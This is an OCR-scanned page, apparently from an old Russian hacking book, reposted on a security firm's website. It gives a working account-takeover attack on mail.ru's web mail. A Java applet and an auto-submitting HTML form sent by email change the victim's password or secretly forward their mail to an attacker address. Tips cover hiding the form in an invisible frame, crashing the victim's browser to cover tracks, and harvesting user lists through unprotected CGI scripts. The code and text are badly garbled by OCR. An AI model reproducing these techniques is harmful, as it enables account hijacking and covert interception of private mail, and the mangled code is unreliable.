8(495)909-90-01
8(964)644-46-00
pro@sio.su
Главная
Системы видеонаблюдения
Охранная сигнализация
Пожарная сигнализация
Система пожаротушения
Система контроля удаленного доступа
Оповещение и эвакуация
Контроль периметра
Система домофонии
Парковочные системы
Проектирование слаботочных сетей
Аварийный
контроль
Раздел: Документация

0 ... 43 44 45 46 47 48 49 ... 169

<applet

code=readr.class

name=readrie

codebase=» nyTb /»

width=320

beight=240 >

<B> SET Java On</B>

</applet>

readr.java

(не забудьте отредактировать ПУТЬ )

import Java . applet .*; import j ava.awt.*; import java.net.*;

public class readrie extends Applet

{

public void paint (Graphics g)

{ try {

URL myURL=new URL (« nyTb editprofil . html») ; getAppletContext () . showDocument (myURL,» self») ;

} catch (Exception e) {

g, drawstring («Еггог», 10, }

} )

editprofil.html

(не забудьте отредактировать ИМЯ ПОЛЬЗОВАТЕЛЯ и НО-

ВЫЙ ПАРОЛЬ)

<html> <body>

<form

bin/modifyuseг?modify»>

<inputvalue=»

ЗОВАТЕЛЯ «>

<input type=»text» name=»RealName» value=»A. V. Komlni»>

<input type=»text»value=»»>

140


<input type=»password» name=»Password» value=» h0-ВЫЙ ПАРОЛЬ «>

<input type=»password» name=»Password Verifу» value=» новый пароль «>

<input type=checkbox name=»FIags . DoNotKeepMail» > He сохранять почту при пересылке<ьг>

<input<input

type=»reset» value=»BoccTaHOBMTb»>

</form>

<SCRIPT LANGUAGE=»JavaScript»>

document.forms[0].submit();

</script>

</body>

</html>

Письмо можно сформировать просто присоединением (attach) HTML-файла (в Netscape Messenger, например), содержащего необходимые теги.

Присоединенный в Messengere HTML-файл mail.ru откроет автоматически.

Как только абонент попытается прочитать письмо, выполнится апплет, и через несколько секунд форма будет отослана от имени жертвы. Вот, в принципе, и все. Пользователю присвоен новый пароль. Если мы хотим «просто подслушивать» пользователя, в значение полей Password необходимо внести 16 звездочек, а в поле Forward — куда отсылать копии. Это довольно рискованный вариант: пользователь может случайно заглянуть в настройки и заметить адрес.

<inputtype=»text»name=»Forward»

value=»spy addr@xxxx.zz»>

<inputtype=»password»name=»Password»

я ue-»****************-»>

<inputtype=»password»name=»Password Verify»

y 2.LlS = **r*:r * * * *

/

Макияж...

He стоит, конечно, проводить всю эту процедуру перед глазами пользователя (может, он еще не отключил подтверждение на отправку форм или успеет разглядеть и запомнить новый пароль).

Разумнее переадресовать апплет на какой-нибудь файл, содержащий frameset.

141


<FRAMESET COLS=»99%,1%»>

<FRAME src=images-3/»zastavka.html» NAME=»vl»>

FRAME src=images-3/»editprofile.html» NAME-»wl»> ,

где zastavka маскирует письмо под безобидную рекламу или дружеское письмо, a editprofileвыполняется в невидимом фрейме. По окончании смены паролей лучше сымитировать сбой, т. к. в течение сеанса пользователь может исправить пароль. В IE под Win 95/98, например, достаточно выполнить скрипт

open[«javascript:open(window.location)»),

приводящий к бесконечному размножению окон, требующему перезагрузки. Само письмо лучше отослать (на случай неудачи) от анонимной службы рассылки писем. На 06.01.2000 г. пример еще работал. Исходники на www.chat.ru/-avkvladru/mail/. Защититься от этой атаки, как всегда, просто. Отключить Java, а лучше отказаться от использования Web-интерфейсов. Тот же mail.ru предлагает и форвардинг и рор-сервера. Экономия на настройке приносит проблемы с безопасностью не только администраторам больших сетей, поверьте. Составляем список абонентов сервера

Заветной мечтой всех спамеров мира является список (база)

абонентов.

Недаром в их среде постоянно ходят слухи о каких-то почтовых серверах, поддерживающих команду finger... Также пару дней назад на форуме видел очередной крик души, если таковая еще жива:

«Нужна база е-мейлов по заграничным и Московским сайтам $$$ - Вася 02:53:36 06/1/2000 (0)»

Нередко почтовые Web-серверы могут «бесплатно» представить подобную информацию. Метод ее получения довольно прост. При легальной работе с почтовым ящиком запоминаем адреса CGI-скриптов, ответственных за смену и чтение параметров пользователей. Потом вызываем их без параметров (форм). Вполне вероятны ошибки в скриптах, при которых они отработают с последними занесенными (или использующимися в текущий момент) именами пользователей. Конечно, шансов на то, что параметры можно изменить, нулевые, а вот сообщение об ошибке доступа вполне может содержать имя пользователя, как это происходит на mail.ru.

При обращении к тому же «http://koi.mail.ru/cgi-bin/modi-

fyuser?modify* выдается сообщение вида:

142



0 ... 43 44 45 46 47 48 49 ... 169